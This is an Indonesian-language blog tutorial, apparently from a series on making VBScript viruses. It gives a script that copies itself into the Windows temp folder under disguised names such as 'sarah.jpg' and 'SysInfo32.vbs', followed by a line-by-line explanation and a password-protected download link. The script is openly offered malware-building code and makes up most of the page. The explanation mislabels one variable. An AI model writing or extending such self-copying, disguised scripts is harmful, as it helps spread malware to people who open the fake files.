MENGKOPIKAN DIRI KE FOLDER TEMP

Semua kodenya sama hanya nilainya saja  dua ( 2 )

on error resume next

set dendrif=CreateObject("Scripting.FileSystemObject")

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName)

c1vs=vs.ReadAll

vs.close

set temp=dendrif.GetSpecialFolder(2)

set c2vs=dendrif.GetFile(Wscript.ScriptFullName)

c2vs.Copy (temp & "\listWinamp.vbs")

c2vs.Copy (temp & "\sarah.jpg")

c2vs.Copy (temp & "\SysInfo32.vbs")

msgbox"virus telah berhasil di kopi ke folder  temp",vbinformation,"Tes virus..."

Simpan script dengan nama contoh kopitemt.vbs, lalu jalankan.....

penjelasan script

on error resume next = bila terjadi kesalahan lanjutkan ke perintah selanjutnya

set dendrif=CreateObject("Scripting.FileSystemObject") ==> menset dendrif sebagai  penghendelan file objek untuk pembuatan file atau hal lainnya yang dibutuhkan vbs ,saya juga kurang paham arti khususnya

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName) ==> menset vs untuk penghendelan membuka virusnya sendiri (Wscript.ScriptFullName)

c1vs=vs.ReadAll  == >variable c1vs digunakan untuk pembacaan virus secara keseluruhan

vs.close  ==> pembacaan virus selesai dan di tutup

set sys=dendrif.GetSpecialFolder(2)  ==> penghendelan untuk mendapatkan folder  temp

set c2vs=dendrif.GetFile(Wscript.ScriptFullName) ==> menset c2vs untuk mendapatkan informasi virus

c2vs.Copy (temp & "\listWinamp.vbs")  ==> mengkopi virus ke folder  temp dengan nama listWinamp.vbs

c2vs.Copy (temp & "\sarah.jpg")   ==> mengkopi virus ke folder  temp  dengan nama sarah.jpg

c2vs.Copy (temp & "\SysInfo32.vbs")  ==> mengkopi virus ke folder  temp  dengan nama SysInfo32.vbs

msgbox"virus telah berhasil di kopi ke folder  temp",vbinformation,"Tes virus..."  ==> menampilkan pesan pengkopian ke folder  temp  berhasil….

Screenshot hasil pengkopian:

pengkopian ke folder temp

download script
password = www.dendrif-deo.co.cc[copytemp]
semoga bermanfaat.................. :D